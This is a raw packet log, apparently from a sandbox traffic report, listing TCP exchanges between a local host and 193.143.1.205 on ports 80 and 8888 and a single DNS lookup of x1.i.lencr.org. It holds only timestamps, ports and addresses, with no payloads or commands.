Jan 10, 2025 17:46:45.699242115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699254990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699268103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699302912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.699318886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699336052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699354887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699367046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.699374914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699408054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.699454069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699466944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699481964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699493885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699502945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.699529886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.699546099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699579000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699592113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699598074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.699635983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.699693918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699712038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699726105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699739933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699754000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.699785948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.699800968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699814081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699871063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699872971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.699884892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699930906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.699982882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.699996948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.700009108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.700021982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.700036049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.700050116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.700082064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.700208902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.700222015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.700239897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.700253010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.700258017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.700268030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.700304985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.700333118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.700344086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.700346947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.700395107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.701291084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.701308012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.701322079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.701363087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.701391935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.701411963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.701440096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.702769041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.743556976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.743586063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.743598938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.743612051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.743624926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.743644953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.743657112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.743674994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.743673086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.743686914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.743706942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.743720055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.743772030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.743776083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.743783951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.743801117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.743814945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.743827105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.743839979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.743861914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.743882895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.743896961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.743906021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.743908882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.743936062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.743974924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.743993044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744005919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744016886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744029045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744051933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.744082928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.744098902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744112015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744175911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.744309902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744323015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744335890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744353056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744364977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744371891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.744384050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744396925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744407892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744421005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744421005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.744436026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744453907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.744507074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.744529009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744549036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744561911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744591951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.744627953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744641066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744652987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744666100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744683981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.744724989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.744757891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744771004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744785070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744793892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.744817972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.744894981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.751858950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.785151958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785192966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785206079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785218954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785232067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785247087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.785283089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.785295963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785310030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785331964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.785367966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785375118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.785382032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785391092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785449982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.785463095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785475969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785505056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785521984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785525084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.785547972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.785621881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785634041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785665035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.785676003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785687923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785701036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785717010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.785733938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785751104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.785763979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785846949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785846949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.785861015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785872936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785885096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785893917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.785944939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.785970926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785984039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.785995960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786029100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786041021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786046028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.786055088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786091089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.786114931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.786124945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786137104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786183119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.786185980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786201954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786257982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.786294937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786307096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786317110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786329985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786340952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786354065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.786358118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786389112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.786405087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786428928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.786429882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786478043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.786503077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786516905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786530972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786566019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.786603928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786640882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786653042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786676884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.786705017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786712885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.786717892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786732912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786767960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.786811113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786824942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786835909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786864042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.786905050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.786942959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786955118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786967039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786978960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786990881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.786995888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.787003994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.787041903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.787075996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.787111044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.787122011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.787146091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.787158012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.787169933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.787170887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.787204981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.787307024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.787338018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.787349939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.787360907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.787373066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.787379980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.787383080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.787416935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.787473917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.793087959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.830400944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.830427885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.830439091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.830457926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.830468893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.830487013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.830490112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.830530882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.830538988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.830557108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.830568075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.830579996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.830589056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.830620050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.830651045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.830663919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.830674887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.830683947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.830737114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.830745935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.830749035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.830777884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.830805063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.830862045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.830873013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.830883980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.830894947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.830916882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.830924034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.830960989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.830971003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.830976009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.831008911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.831039906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.831054926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.831105947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.831106901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.831120014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.831130981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.831142902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.831167936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.831197977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.831228018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.831240892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.831284046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.831306934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.831326962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.831332922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.831378937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.831443071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.831454992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.831465006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.831475019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.831496954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.831526995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.831727028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.831746101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.831756115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.831767082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.831778049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.831779003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.831790924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.831803083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.831830025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.831871033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.860579967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.872061968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.872091055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.872104883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.872116089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.872159958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.872170925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.872181892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.872185946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.872205019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.872215033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.872235060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.872257948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.872275114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.872286081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.872296095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.872323990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.872359991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.872361898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.872375965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.872385979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.872406960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.872412920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.872437954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:45.872456074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:45.894469976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:46.035187960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:47.227327108 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:47.232208967 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:47.232306004 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:47.236078978 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:47.240919113 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:48.039917946 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 17:46:48.088649035 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 17:46:49.027369022 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:46:55.543486118 CET	64353	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 17:46:55.543486118 CET	192.168.2.4	1.1.1.1	0x3632	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
